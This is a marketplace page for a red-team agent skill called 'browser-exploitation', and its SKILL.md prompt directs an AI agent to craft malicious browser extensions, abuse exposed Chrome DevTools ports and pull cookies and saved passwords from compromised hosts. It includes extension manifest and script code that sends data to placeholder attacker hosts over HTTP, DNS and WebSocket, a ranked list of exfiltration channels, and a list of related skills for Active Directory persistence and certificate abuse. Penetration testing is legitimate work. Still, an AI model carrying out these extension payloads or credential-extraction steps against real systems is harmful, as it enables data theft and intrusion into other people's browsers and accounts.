/browser-exploitation
Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.
$ npx -y skills add blacklanternsecurity/red-run --skill browser-exploitation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/browser-exploitation
Context preview
The summary Claude sees to decide when to auto-load this skill.
Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts.
SKILL.md
browser-exploitation.SKILL.mdname: browser-exploitation
description: >
Exploit browser-based attack surfaces: malicious extension crafting for bot
interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports,
and browser profile/cache data extraction from compromised hosts.
keywords:
- chrome extension
- firefox extension
- manifest v3
- manifest v2
- content_script
- service_worker
- background script
- devtools protocol
- CDP
- remote debugging
- port 9222
- browser cache
- browser profile
- cookies sqlite
- login data
- headless chrome
- puppeteer
- selenium
- playwright
tools:
- curl
- chrome
- chromium
opsec: medium
Browser Exploitation
You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[browser-exploitation] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `extension-exfil-cookies.txt`, `cdp-file-read.txt`).
Scope Boundary
This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
State Writes
Write actionable findings **immediately** via state so the orchestrator can react in real time:
- `add_credential()` — cookies, tokens, saved passwords extracted
- `add_vuln()` — confirmed CDP access, extension RCE, profile extraction
- `add_pivot()` — internal services discovered via extension or CDP
- `add_blocked()` — techniques attempted and failed
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Tool Requirements (Local-Only)
**NEVER download, clone, install, or build tools.** The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.
Prerequisites
Prerequisites vary by attack area:
- **Section A (Extensions)**: Extension upload endpoint or bot that loads
attacker-supplied extensions. Knowledge of manifest version (V2 or V3).
- **Section B (CDP)**: Exposed Chrome DevTools or Node.js inspector port
(9222, 9229, or similar).
- **Section C (Profile Extraction)**: Shell access on a host with a browser
installed (Chrome, Chromium, Firefox).
Step 1: Assess
Determine which attack vector applies:
1. **Extension upload endpoint found** (upload form, API accepting .zip/.crx) → proceed to Step 2 (Section A) 2. **Exposed debug port** (9222, 9229, other debug ports detected by nmap) → proceed to Step 3 (Section B) 3. **Shell access with browser installed** (post-exploit credential harvesting) → proceed to Step 4 (Section C)
If the orchestrator provided context specifying which section, skip directly to it.
---
Step 2: Malicious Extension Crafting (Section A)
2a: Egress Check
**Before crafting exploit extensions**, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.
Create a test extension that tries multiple egress methods:
**Manifest V3 egress test:**
{
"manifest_version": 3,
"name": "Egress Test",
"version": "1.0",
"permissions": ["activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["test.js"]
}]
}**test.js:**
// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
.catch(()=>{});
// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}Start an HTTP listener on your attackbox (`python3 -m http.server PORT`) and check which callbacks arrive. Use the first method that works.
**Egress priority:** 1. `fetch()` POST to attacker HTTP listener — most reliable, largest payloads 2. DNS exfil via subdomain lookups — works when HTTP is blocked 3. WebSocket to attacker — persistent connection for streaming data 4. `navigator.sendBeacon()` — fire-and-forget, limited payload size
2b: Manifest V3 Extension Template
Modern Chrome uses Manifest V3. Content scripts run in page context; service workers
Read more
name: browser-exploitation description: > Exploit browser-based attack surfaces: malicious extension crafting for bot interaction scenarios, Chrome DevTools Protocol abuse on exposed debug ports, and browser profile/cache data extraction from compromised hosts. keywords: - chrome extension - firefox extension - manifest v3 - manifest v2 - content_script - service_worker - background script - devtools protocol - CDP - remote debugging - port 9222 - browser cache - browser profile - cookies sqlite - login data - headless chrome - puppeteer - selenium - playwright tools: - curl - chrome - chromium opsec: medium
Browser Exploitation
You are helping a penetration tester exploit browser-based attack surfaces. This covers three attack areas: malicious browser extension crafting (for bot/upload scenarios), Chrome DevTools Protocol abuse (exposed debug ports), and browser profile data extraction (post-exploit). All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[browser-exploitation] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `extension-exfil-cookies.txt`, `cdp-file-read.txt`).
Scope Boundary
This skill covers browser-based exploitation — extension crafting, CDP abuse, and profile extraction. When you reach the boundary of this scope — whether through completing your methodology or discovering findings outside your domain — **STOP**.
Do not load or execute another skill. Do not continue past your scope boundary. Instead, return to the orchestrator with:
- What was found (vulns, credentials, access gained)
- Context to pass (injection point, target, working payloads, etc.)
The orchestrator decides what runs next. Your job is to execute this skill thoroughly and return clean findings.
**Stay in methodology.** Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise attacks, write custom exploit code, or apply techniques from other domains. The orchestrator will provide specific guidance or route to a different skill.
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
State Writes
Write actionable findings **immediately** via state so the orchestrator can react in real time:
- `add_credential()` — cookies, tokens, saved passwords extracted
- `add_vuln()` — confirmed CDP access, extension RCE, profile extraction
- `add_pivot()` — internal services discovered via extension or CDP
- `add_blocked()` — techniques attempted and failed
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Tool Requirements (Local-Only)
**NEVER download, clone, install, or build tools.** The operator's attackbox has a curated toolset — do not modify it. If a tool required by this skill is not installed, STOP and return to the orchestrator with the missing tool name.
Prerequisites
Prerequisites vary by attack area:
- **Section A (Extensions)**: Extension upload endpoint or bot that loads
attacker-supplied extensions. Knowledge of manifest version (V2 or V3).
- **Section B (CDP)**: Exposed Chrome DevTools or Node.js inspector port
(9222, 9229, or similar).
- **Section C (Profile Extraction)**: Shell access on a host with a browser
installed (Chrome, Chromium, Firefox).
Step 1: Assess
Determine which attack vector applies:
1. **Extension upload endpoint found** (upload form, API accepting .zip/.crx) → proceed to Step 2 (Section A) 2. **Exposed debug port** (9222, 9229, other debug ports detected by nmap) → proceed to Step 3 (Section B) 3. **Shell access with browser installed** (post-exploit credential harvesting) → proceed to Step 4 (Section C)
If the orchestrator provided context specifying which section, skip directly to it.
---
Step 2: Malicious Extension Crafting (Section A)
2a: Egress Check
**Before crafting exploit extensions**, determine what outbound channels reach your attackbox. This prevents wasting iterations on blocked exfil methods.
Create a test extension that tries multiple egress methods:
**Manifest V3 egress test:**
{
"manifest_version": 3,
"name": "Egress Test",
"version": "1.0",
"permissions": ["activeTab"],
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["test.js"]
}]
}**test.js:**
// Test HTTP egress to attacker
fetch('http://ATTACKBOX:PORT/egress-http', {method: 'POST', body: 'ok'})
.catch(()=>{});
// Test DNS egress (image load triggers DNS lookup)
new Image().src = 'http://egress-dns.ATTACKER_DOMAIN/pixel.gif';
// Test WebSocket
try { new WebSocket('ws://ATTACKBOX:PORT/egress-ws'); } catch(e) {}Start an HTTP listener on your attackbox (`python3 -m http.server PORT`) and check which callbacks arrive. Use the first method that works.
**Egress priority:** 1. `fetch()` POST to attacker HTTP listener — most reliable, largest payloads 2. DNS exfil via subdomain lookups — works when HTTP is blocked 3. WebSocket to attacker — persistent connection for streaming data 4. `navigator.sendBeacon()` — fire-and-forget, limited payload size
2b: Manifest V3 Extension Template
Modern Chrome uses Manifest V3. Content scripts run in page context; service workers
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

